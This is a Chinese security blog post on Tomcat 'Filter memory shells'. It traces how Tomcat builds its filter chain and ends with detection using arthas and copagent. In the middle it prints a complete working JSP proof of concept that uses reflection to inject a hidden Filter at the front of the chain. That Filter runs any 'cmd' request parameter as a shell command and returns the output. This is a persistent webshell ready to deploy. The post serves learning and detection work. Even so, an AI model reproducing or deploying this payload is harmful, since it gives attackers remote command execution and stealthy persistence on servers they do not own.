Filter内存马


Filter 流程

图片来源:https://blog.csdn.net/qq_37924905/article/details/108616779

image.png
Filter 可以是链式的,多个 Filter 过滤同一请求

Filter 注册流程

创建 maven Java web 项目,不多说了,不会的自行百度嗷。然后pom.xml 添加如下内容

<dependencies>
  //	测试
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>3.0.1</version>
      <scope>provided</scope>
    </dependency>
    <dependency>
      <groupId>javax.servlet.jsp</groupId>
      <artifactId>jsp-api</artifactId>
      <version>2.1</version>
      <scope>provided</scope>
    </dependency>
  //	tomcat源码
    <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>8.5.51</version>
    </dependency>

  </dependencies>

项目结构如下,文件夹不存在的可以自行创建
image.png
FilterDemo 如下

package com.yq1ng.Filter;

import javax.servlet.*;
import java.io.IOException;

/**
 * @author ying
 * @Description
 * @create 2021-12-05 3:54 PM
 */

public class filterDemo implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filterDemo 已被初始化...");

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("进行过滤操作...");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

web.xml 添加

<filter>
  <filter-name>filterDome</filter-name>
  <filter-class>com.yq1ng.Filter.filterDemo</filter-class>
</filter>
<filter-mapping>
  <filter-name>filterDome</filter-name>
  <url-pattern>/*</url-pattern>
</filter-mapping>

开始 debug,看自定义 Filter 怎么被调用。首先是org\apache\catalina\startup\ContextConfig.class#configureContext()读取、解析 xml 文件,返回解析后的实例,这个不说了,代码好长。org\apache\catalina\core\StandardWrapperValve.class#invoke()中创建了 filterChain
image.png
跟进看看,在 42 行获取的当前 web 应用的信息
image.png
主要关注图中的三个属性

  1. filterConfigs:存放 filterDef(见 filterDefs) **,filter 实例对象**及其他信息
  2. filterDefs:存放过滤器名、过滤器全限定名及其他信息
  3. filterMaps:存放过滤器名字(FilterName 对应作用 url(URLPattern

image.png
image.png
这里遍历 filterMaps,比较请求 url 是在 filter 作用路径中,如果路径符合要求则在context中寻找对应的 filterConfig,如果 filterConfig 存在且不为 null 则进入filterChain.addFilter(),跟进
image.png
for 循环来判断我们的 filter 是否存在,若存在则直接 return,也就是去重。
下面的 if 判断 n 是否与当前 filter 容量相等,如果相等则对 filter 的空间+10,然后将我们的 filter 加到当前 filters 中,这部分相当于扩容。看一下 filter 和 n
image.png
然后返回,for 循环过后 filterChain 算是装载完成了。然后又回到org\apache\catalina\core\StandardWrapperValve.class#invoke()就开始调用 filter 链
image.png
跟进doFilter()
image.png
继续
image.png
在这里就会调用我们自定义的 Filter
image.png
来一张宽字节的总结
image.png

Filter 内存马实现

先提一个特性,在 Servlet 3.0 后, servlet 和 filter,甚至 Listener 都可以进行动态的创建,从javax\servlet\ServletContext.class接口中也能直观看出
image.png
image.png
image.png
那么就可以通过 jsp 动态创建恶意的 Filter。从注册流程可以知道,组装 filterChain 的时候是通过 context 获取其 filtersMaps,怎么获取这个 context 然后把恶意过滤器添加到第一位呢?

获取 context

org\apache\catalina\connector\Request.class发现getContext()方法,此方法可以获取 context
image.png
怎么获取 Request 对象呢?实际 Tomcat 在使用 request 的时候不是用的 Request 这个类,而是 RequestFacade,因为 Request 这个类里面有很多属性和方法,这些方法是不想对外公开的,所以使用 RequestFacade 进行包装,来看一下
image.png
所以可以使用反射获取 Request

<%
    Field req = request.getClass().getDeclaredField("request");
    req.setAccessible(true);
    Request req1 = (Request) req.get(request);
    StandardContext standardContext = (StandardContext) req1.getContext();
%>

poc

poc 怎么得来的可以看看https://blog.csdn.net/angry_program/article/details/116661899,很详细,我也没细看(逃,poc 很容易理解,这里就直接看 poc 了

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%--
  Created by IntelliJ IDEA.
  User: ying
  Date: 12/5/2021
  Time: 9:06 PM
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>test</title>
</head>
<body>
<%
    //  定义过滤器名字
    final String name = "yq1ng";
    //  获取context
    Field req = request.getClass().getDeclaredField("request");
    req.setAccessible(true);
    Request req1 = (Request) req.get(request);
    StandardContext standardContext = (StandardContext) req1.getContext();
    //  获取filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    //  如果过滤器不存在则进行注入
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
//                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
//                    int len = process.getInputStream().read(bytes);
//                    servletResponse.getWriter().write(new String(bytes,0,len));
//                    process.destroy();
//                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        //  将filterDef添加到filterDefs中
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        //  将恶意Filter移到第一位
        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>
</body>
</html>

启动服务,访问 test.jsp
image.png
image.png
这样还是不行,和普通的 webshell 没区别,还是会有恶意文件落地,所以还要结合反序列化来实现无文件落地的内存马

查杀

参考:https://gv7.me/articles/2020/kill-java-web-filter-memshell/

查杀思路大致为使用 Agent 遍历所有已经加载到内存中的 class,判断 filter 来源(ClassLoader)、web.xml 配置、filter 常见恶意名字、检查 Filter 对应的 ClassLoader 是否存在对应的 class 文件、检查 doFilter 方法中是否含有恶意代码(Runtime、Process、defineClass 等等

arthas

https://github.com/alibaba/arthas
适合对业务整体代码较为熟悉的时候使用

启动 tomcat,注入内存马,使用java -jar .\arthas-boot.jar启动工具,选择 org.apache.catalina.startup.Bootstrap 进程
image.png
使用 sc 命令列出 JVM 已加载的所有 Filter:sc *.Filter

docs:https://arthas.aliyun.com/doc/sc.html

image.png
使用 jad 命令反编译 class:jad --source-only org.apache.jsp.test_jsp

docs:https://arthas.aliyun.com/doc/jad.html

image.png
使用 watch 命令监控函数调用情况:watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
image.png

copagent

https://github.com/LandGrey/copagent

arthas二次开发,这个应该挺适合检测内存马的,只需要java -jar .\cop.jar即可
image.png
这两个使用了 agent 技术,暂不深入,因为我还没学到,嘤嘤嘤


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录